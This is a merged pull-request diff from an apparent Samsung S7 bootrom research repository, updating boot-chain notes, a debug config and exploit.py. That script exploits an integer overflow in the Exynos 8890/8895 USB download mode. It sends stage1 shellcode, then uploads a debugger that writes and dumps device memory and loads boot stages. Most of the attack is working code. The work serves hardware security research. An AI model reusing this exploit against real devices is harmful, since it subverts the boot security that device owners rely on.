EljakimHerrewijnen/Samsung_S7
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altered-script-flow #1

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Jonathan merged 3 commits from altered-script-flow into main 2024-08-09 20:21:44 +00:00
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3 changed files with 140 additions and 76 deletions
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10
documentation/source/BootROM_8890/boot_chain.rst
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@ -10,14 +10,20 @@ Current boot chain:
Boot chain
As done by Frederic, the bootrom can be dumped using his provided scripts, and can the be split into different boots:
.. code-block:: bash
./exynos-usbdl e payloads/Exynos8890_dump_bootrom.bin dumped_sboot.bin
scripts/split-sboot-8890.sh dumped_sboot.bin
debugger
========
Some other information about the debugger and it's current state.
bl1
===
Loads at address ``0x02024000`` and contains some form of header.
Loads at address ``0x02024000`` and contains some form of header (ramdump).
There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary.
In this case this entry is ``+0x10`` so we jump to ``0x02024010``.

23
source/exploit/.vscode/launch.json vendored
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@ -5,21 +5,38 @@
"version": "0.2.0",
"configurations": [
{
"name": "Debug exploit",
"name": "Debug usb stack",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"args": ["--debug"]
"args": ["--usb-debug"]
},
{
"name": "Run chain",
"name": "Run boot chain",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--run-boot-chain"]
},
{
"name": "Debug on device",
"type": "debugpy",
"request": "launch",
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": []
},
{
"name": "Debug current file",
"type": "debugpy",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal",
"justMyCode": false,
}
]
}

179
source/exploit/exploit.py
View File

@ -1,4 +1,3 @@
import usb.util, usb.core
import struct, sys, usb1, libusb1, ctypes, usb, argparse
from keystone import *
from capstone import *
@ -6,6 +5,7 @@ from ghidra_assistant.utils.utils import *
from ghidra_assistant.concrete_device import *
from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger
from qiling.const import QL_ARCH
import os
def p32(x):
return struct.pack("<I", x)
@ -45,6 +45,9 @@ ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
cs = Cs(CS_ARCH_ARM64, CS_MODE_LITTLE_ENDIAN)
class ExynosDevice():
"""
Class to exploit a Exynos device (8890/8895) using the USB stack.
"""
def __init__(self, idVendor=0x04e8, idProduct=0x1234):
"""Init with vendor/product IDs"""
@ -53,9 +56,11 @@ class ExynosDevice():
self.target = "8890" # TODO auto detect device
self.connect_device()
def connect_device(self):
"""Wait for proper connection to the device"""
"""Setup proper connection, and ensure the connection is alive"""
self.context = usb1.USBContext()
while True:
self.handle = self.context.openByVendorIDAndProductID(
vendor_id=self.idVendor,
@ -65,7 +70,17 @@ class ExynosDevice():
if self.handle == None:
continue
break
print(f"Connected device! {self.idVendor} {self.idProduct}")
try:
self.handle.getDevice().getSerialNumber()
except Exception as e:
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
print("Device disconnected / not connected. Reconnect USB?")
sys.exit(0)
else:
raise e
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
def write(self, data):
transferred = ctypes.c_int()
@ -73,17 +88,16 @@ class ExynosDevice():
assert(res == 0), "Could not perform bulk transfer"
return res
def send_empty_transfer(self):
transferred = ctypes.c_int()
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
assert(res == 0)
return transferred.value
def test_bug_2(self):
'''
Interger overflow in last packet if reamining size is 1.
'''
def test_bug_2(self):
"""Interger overflow in last packet if reamining size is 1."""
transferred = ctypes.c_int()
bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
@ -98,7 +112,6 @@ class ExynosDevice():
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
while True:
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)
pass
def test_bug(self):
@ -116,6 +129,7 @@ class ExynosDevice():
print('Bug probably available')
sys.exit(0)
def send_normal(self, payload):
'''
TODO not working
@ -127,10 +141,13 @@ class ExynosDevice():
assert res == 0, "Error sending payload"
pass
def exploit(self, payload: bytes):
'''
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
'''
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
current_offset = TARGET_OFFSETS[self.target][0]
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
transferred = ctypes.c_int()
@ -140,6 +157,7 @@ class ExynosDevice():
max_payload_size = 0x100000000 - size_to_overflow
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
# Assert that payload is 502 bytes
# max_payload_size = 0xffffffff - current_offset + DL_BUFFER_SIZE + TARGET_OFFSETS[self.target][1]
# max_payload_size = (TARGET_OFFSETS[self.target][2] - TARGET_OFFSETS[self.target][0]) - 0x200
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
@ -209,13 +227,33 @@ class ExynosDevice():
#Overwrite all calls to make the concrete target function properly
concrete_device.copy_functions()
def setup_debugger(self):
'''
Setup the debugger as a concrete device
'''
self.cd = ConcreteDevice(None, False)
self.cd.dev = self.setup_concrete_device(self.cd)
self.cd.test_connection()
def usb_debug(self):
"""
Function to debug USB behaviour
"""
transferred = ctypes.c_int()
# Send some data
count = 0
def _send_data():
transferred.value = 0
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, f"Error sending data ({res})"
def _recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, f"Error receiving data ({res})"
hexdump(buf.raw)
# Should have received some bytes
while True:
_send_data()
_recv_data()
count += 1
def dumb_interact(self):
'''
@ -225,15 +263,24 @@ class ExynosDevice():
self.cd.arch_dbg.state.print_ctx()
# Overwrite jump back
self.cd.memwrite_region(0x02020108, p32(0x2069000))
# self.cd.memwrite_region(0x020200e8, p32(0x2069000))
# self.cd.memwrite_region(0x02020108, p32(0x2069000))
# self.cd.memwrite_region(0x02021800, p32(0x2069000))
self.cd.memwrite_region(0x020200e8, p32(0x02069000)) # address, data. Writes
AUTH_BL1 = 0x00012848
def memdump_try():
self.cd.arch_dbg.state.LR = 0x020200e8
self.cd.restore_stack_and_jump(0x02021810)
stack_pointer = 0x02021810
dumped = b""
for block in range(0x2020000, 0x2200000, 0x200):
stack_pointer += 0x200
self.cd.arch_dbg.state.print_ctx()
print(hex(block))
dumped += self.cd.memdump_region(block, 0x200)
if stack_pointer >= 0x02020F08:
print(f'stack_pointer at {stack_pointer}')
return dumped
def auth_bl1():
# Load the firmware
@ -252,6 +299,8 @@ class ExynosDevice():
# self.cd.restore_stack_and_jump(0x00012814)
# self.cd.restore_stack_and_jump(0x000125b4)
dumped = memdump_try()
bl1 = open("../S7/bl1.bin", "rb").read()
self.cd.memwrite_region(0x02024000, bl1)
self.usb_write(b"FLSH")
@ -265,6 +314,7 @@ class ExynosDevice():
self.cd.arch_dbg.state.LR = 0x2069000
self.cd.restore_stack_and_jump(0x02021810)
bl31 = open("../S7/bl31.bin", "rb").read()
self.cd.memwrite_region(0x02021800, bl31)
jump_bl31()
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
@ -277,13 +327,33 @@ class ExynosDevice():
#authenticate it
pass
def run_boot_chain(self):
stage1 = open("stage1/stage1.bin", "rb").read()
self.exploit(stage1)
def run_debugger():
# TODO, hardcoded path
def setup_guppy_debugger(self):
"""
Run the boot chain for the Exynos device.
Load and send stage1 payload - exploit (stage1)
"""
def _setup_debugger():
'''
Setup the debugger as a concrete device
'''
self.cd = ConcreteDevice(None, False)
self.cd.dev = self.setup_concrete_device(self.cd)
self.cd.test_connection()
def _initial_run_debugger():
"""Write debugger to device and test basic functionality"""
if os.getenv("USER") == "eljakim":
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
else:
try:
debugger = open("../../dump/debugger.bin", "rb").read()
except Exception as e:
print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}')
sys.exit(0)
debugger += ((0x2000 - len(debugger)) * b"\x00")
assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size"
for block in range(0, len(debugger), 0x200):
@ -296,57 +366,28 @@ class ExynosDevice():
r = self.usb_read(0x200)
assert r == b"PONG", f"Invalid response from device: {r}"
run_debugger()
self.setup_debugger()
self.dumb_interact()
def usb_debug():
'''
Function to debug USB behavior
'''
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
assert len(shellcode) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
exynos = ExynosDevice()
exynos.exploit(shellcode)
transferred = ctypes.c_int()
# Send some data
count = 0
def send_data():
transferred.value = 0
p = p32(count) + b"\xaa" * (0x200 - 4)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
assert res == 0, "Error sending data"
def recv_data():
transferred.value = 0
buf = ctypes.c_buffer(b"", 0x200)
res = libusb1.libusb_bulk_transfer(exynos.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
assert res == 0, "Error receiving data"
hexdump(buf.raw)
pass
# Should have received some bytes
while True:
send_data()
recv_data()
count += 1
_initial_run_debugger()
_setup_debugger()
if __name__ == "__main__":
arg = argparse.ArgumentParser("Exynos exploit")
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
# Debug mode
arg.add_argument("--usb-debug", action="store_true", help="Debug USB stack", default=False)
arg.add_argument("--run-boot-chain", action="store_true", help="Run boot chain to boot different boot stages", default=False)
arg.add_argument("--dumb-debug", action="store_true", help="Live debugging on device", default=True)
args = arg.parse_args()
if args.debug:
usb_debug()
sys.exit(0)
exynos = ExynosDevice()
exynos.run_boot_chain()
if args.usb_debug:
shellcode = open("../dwc3_test/dwc3.bin", "rb").read()
exynos.exploit(shellcode)
exynos.usb_debug()
elif args.run_boot_chain:
stage1 = open("stage1/stage1.bin", "rb").read()
exynos.exploit(stage1)
exynos.setup_guppy_debugger()
exynos.dumb_interact()
sys.exit(0)